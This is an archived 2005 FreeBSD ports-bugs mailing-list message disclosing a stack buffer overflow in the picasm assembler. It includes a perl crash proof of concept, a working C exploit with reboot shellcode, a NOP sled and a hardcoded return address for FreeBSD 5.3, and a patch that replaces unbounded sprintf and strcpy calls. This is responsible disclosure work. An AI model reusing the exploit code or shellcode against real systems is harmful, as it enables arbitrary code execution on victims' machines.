From owner-freebsd-ports-bugs@FreeBSD.ORG Sat May 7 17:21:21 2005 Return-Path: Delivered-To: freebsd-ports-bugs@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8243916A4DB for ; Sat, 7 May 2005 17:21:21 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.197]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1346B43D72 for ; Sat, 7 May 2005 17:21:21 +0000 (GMT) (envelope-from scolleyuk@gmail.com) Received: by rproxy.gmail.com with SMTP id j1so553646rnf for ; Sat, 07 May 2005 10:21:20 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=qxym0OnSx2Wle4pWkdubO27hIy3rSCB6pDQRfiMETzG91UgrMWuTlhjHCh5oeU7yra+roiYJ2TDk0Si76CFcoHsdMZ9P/u2k4RRA+jOW5fzI/Z5ewvmgCfZbv7STfryswSJzPGOw9PoqKgFvK/PCYXODjXWTSFG3A0Yw+ord/jY= Received: by 10.38.97.22 with SMTP id u22mr672280rnb; Sat, 07 May 2005 10:21:20 -0700 (PDT) Received: by 10.38.11.6 with HTTP; Sat, 7 May 2005 10:21:20 -0700 (PDT) Message-ID: Date: Sat, 7 May 2005 18:21:20 +0100 From: Shaun Colley To: freebsd-ports-bugs@freebsd.org, trossi@iki.fi Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Subject: picasm buffer overflow bug X-BeenThere: freebsd-ports-bugs@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Shaun Colley List-Id: Ports bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 07 May 2005 17:21:21 -0000 Hey list. I've found a serious buffer overflow bug in the picasm port. The consequence is such that if picasm attempts to assemble a malicious assembly file, arbitrary code could be executed. Thus, if an attacker could persuade user John to assemble mal.asm, the buffer overflow bug could be exploited to gain control of the system (assuming the persuaded user was root). The errors exist in the error handling functions; err_line_ref(), warning(), error() and fatal_error(). These functions fail to perform bounds checking before preparing error messages, and so on. --- err_line_ref(void) { struct inc_file *inc; char outbuf[128]; ... =09 sprintf(outbuf, "(Macro %-.99s line %d)", =09=09 inc->v.m.sym->name, inc->linenum); =09 err_out(outbuf); =09 ... =09sprintf(outbuf, "%-.99s:%d:", ... void warning(char *fmt, ...) { char outbuf[128]; va_list args; err_line_ref(); strcpy(outbuf, "Warning: "); va_start(args, fmt); vsprintf(outbuf+9, fmt, args); ... void error(int lskip, char *fmt, ...) { va_list args; char outbuf[128]; err_line_ref(); strcpy(outbuf, "Error: "); va_start(args, fmt); vsprintf(outbuf+7, fmt, args); =20 ... void fatal_error(char *fmt, ...) { va_list args; char outbuf[128]; err_line_ref(); strcpy(outbuf, "Fatal error: "); va_start(args, fmt); vsprintf(outbuf+13, fmt, args); ... } --- As far as I can tell, there are several attack vectors, but an easy way is to cause a long error message to be outputted. This will cause error() to be called, and an overflow can occur with those vsprintf calls, if the bounds of outbuf are exceeded. Reading the documentation, I noticed:=20 error =09Causes an assembly error. Thus, if the assembly file contains 'error ', a long error message will be passed to error(), and a stack overflow could occur. Proof-of-concept enough is:=20 bash$ echo `perl -e 'print "error " . "a"x2000'` > test.asm ; picasm test.a= sm A segmentation fault should occur. By examining the resultant core file, the overflow should the self-evident. I have produced a working exploit for this issue, tested on FreeBSD 5.3-REL= EASE. --- #include #include /* FreeBSD reboot shellcode by zillion * zillion safemode org */ char shellcode[] =3D "\x31\xc0\x66\xba\x0e\x27\x66\x81\xea\x06\x27\xb0\x37\xcd\x80"; int main(int argc, char *argv[]) { if(argc < 2) { printf("syntax: %s \n", argv[0]); return 1; } char buf[144]; /* FreeBSD 5.3-RELEASE */ char ret[] =3D "\x78\xea\xbf\xbf"; char *ptr; FILE *fp; ptr =3D buf; /* Craft payload */ memset(ptr, 0, sizeof(buf)); memset(ptr, 0x90, 118); /* 118 NOP bytes */ memcpy(ptr+118, shellcode, sizeof(shellcode)); /* 15 byte shellcode */ memcpy(ptr+133, ret, 4); /* 4 byte ret address */ /* Open outfile */ if((fp =3D fopen(argv[1], "w")) =3D=3D NULL) { printf("unable to open %s\n", argv[1]); exit(1); } /* Write it all to outfile */ fwrite("error ", 1, 6, fp); fprintf(fp, "%s", buf); fclose(fp); return 0; } --- The exploit above crafts a 'malicious' assembly file to 'outfile' specified in argv[1]. This works on my FreeBSD 5.3-RELEASE system.=20 Upon invoking picasm on the resultant 'assembly' file (as root), the return address of picasm's latest frame (probably error()s) is overwritten, and the shellcode is jumped to - this reboots the system. An 'assembly' file coming from a remote user could exploit this overflow and compromise the system's security. The warning() and other error handling functions seem to have possible stack overflows in them too, but I haven't bothered testing anything. I've written a patch for picasm, which patches a few other strncpy and *sprintf calls which could possibly also result in bugs. There is also the possibility of an overflow due to long arguments at the command line; this doesn't present much of a security bug, but I've patched that anyway. ---=20 --- picasm.orig.c Sun Jun 3 14:15:42 2001 +++ picasm.c Sat May 7 16:49:47 2005 @@ -96,13 +96,13 @@ inc =3D current_file; if(inc->type !=3D INC_FILE) { - sprintf(outbuf, "(Macro %-.99s line %d)", + snprintf(outbuf, sizeof(outbuf), "(Macro %-.99s line %d)", inc->v.m.sym->name, inc->linenum); err_out(outbuf); while(inc !=3D NULL && inc->type !=3D INC_FILE) inc =3D inc->next; } - sprintf(outbuf, "%-.99s:%d:", + snprintf(outbuf, sizeof(outbuf), "%-.99s:%d:", inc->v.f.fname, inc->linenum); err_out(outbuf); len =3D strlen(line_buffer); @@ -126,7 +126,7 @@ err_line_ref(); strcpy(outbuf, "Warning: "); va_start(args, fmt); - vsprintf(outbuf+9, fmt, args); + vsnprintf(outbuf+9, sizeof(outbuf)-9, fmt, args); va_end(args); err_out(outbuf); if(list_fp !=3D NULL) @@ -159,7 +159,7 @@ err_line_ref(); strcpy(outbuf, "Error: "); va_start(args, fmt); - vsprintf(outbuf+7, fmt, args); + vsnprintf(outbuf+7, sizeof(outbuf)-7, fmt, args); va_end(args); err_out(outbuf); if(list_fp !=3D NULL) @@ -186,7 +186,7 @@ err_line_ref(); strcpy(outbuf, "Fatal error: "); va_start(args, fmt); - vsprintf(outbuf+13, fmt, args); + vsnprintf(outbuf+13, sizeof(outbuf)-13, fmt, args); va_end(args); err_out(outbuf); exit(EXIT_FAILURE); /* XXX possibly use longjmp() */ @@ -994,7 +994,7 @@ if(pic_type !=3D NULL) { - sprintf(symname, "__%s", pic_type->name); + snprintf(symname, sizeof(symname), "__%s", pic_type->name); sym =3D add_symbol(symname, SYMTAB_GLOBAL); sym->type =3D SYM_DEFINED; sym->type2 =3D SYMT_CONSTANT; @@ -1020,7 +1020,7 @@ t =3D (line_buf_off =3D=3D 0); - strcpy(symname, token_string); + strncpy(symname, token_string, sizeof(symname)-1); sym =3D lookup_symbol(symname, symtype); if(sym !=3D NULL && sym->type =3D=3D SYM_MACRO) { @@ -1208,7 +1208,7 @@ continue; } - strcpy(symname, token_string); + strncpy(symname, token_string, sizeof(symname)-1); get_token(); if(token_type !=3D TOK_NEWLINE && token_type !=3D TOK_EOF) error(0, "Extraneous characters after a valid source line")= ; @@ -1616,7 +1616,7 @@ prog_mem_size =3D pic_type->progmem_size; reg_file_limit =3D pic_type->regfile_limit; - sprintf(symname, "__%s", pic_type->name); + snprintf(symname, sizeof(symname), "__%s", pic_type->name); sym =3D add_symbol(symname, SYMTAB_GLOBAL); sym->type =3D SYM_DEFINED; sym->type2 =3D SYMT_CONSTANT; @@ -1783,7 +1783,7 @@ case 'o': /* output file name */ if(argv[1][2] !=3D '\0') { - strcpy(out_filename, &argv[1][2]); + strncpy(out_filename, &argv[1][2], sizeof(out_filename)-1); } else { @@ -1792,7 +1792,7 @@ fputs("-o option requires a file name\n", stderr); exit(EXIT_FAILURE); } - strcpy(out_filename, argv[2]); + strncpy(out_filename, argv[2], sizeof(out_filename)-1); argc--; argv++; } @@ -1901,7 +1901,7 @@ case 'l': /* listing/list filename */ listing =3D 1; if(argv[1][2] !=3D '\0') - strcpy(list_filename, &argv[1][2]); + strncpy(list_filename, &argv[1][2], sizeof(list_filename)-1= ); break; case 's': @@ -1948,7 +1948,7 @@ if(out_filename[0] =3D=3D '\0') { - strcpy(out_filename, in_filename); + strncpy(out_filename, in_filename, sizeof(out_filename)-1); if((p =3D strrchr(out_filename, '.')) !=3D NULL) *p =3D '\0'; } @@ -1960,7 +1960,7 @@ { if(list_filename[0] =3D=3D '\0') { - strcpy(list_filename, in_filename); + strncpy(list_filename, in_filename, sizeof(list_filename)-1); if((p =3D strrchr(list_filename, '.')) !=3D NULL) *p =3D '\0'; strcat(list_filename, ".lst"); --- This fixes the problem... Thanks, Shaun.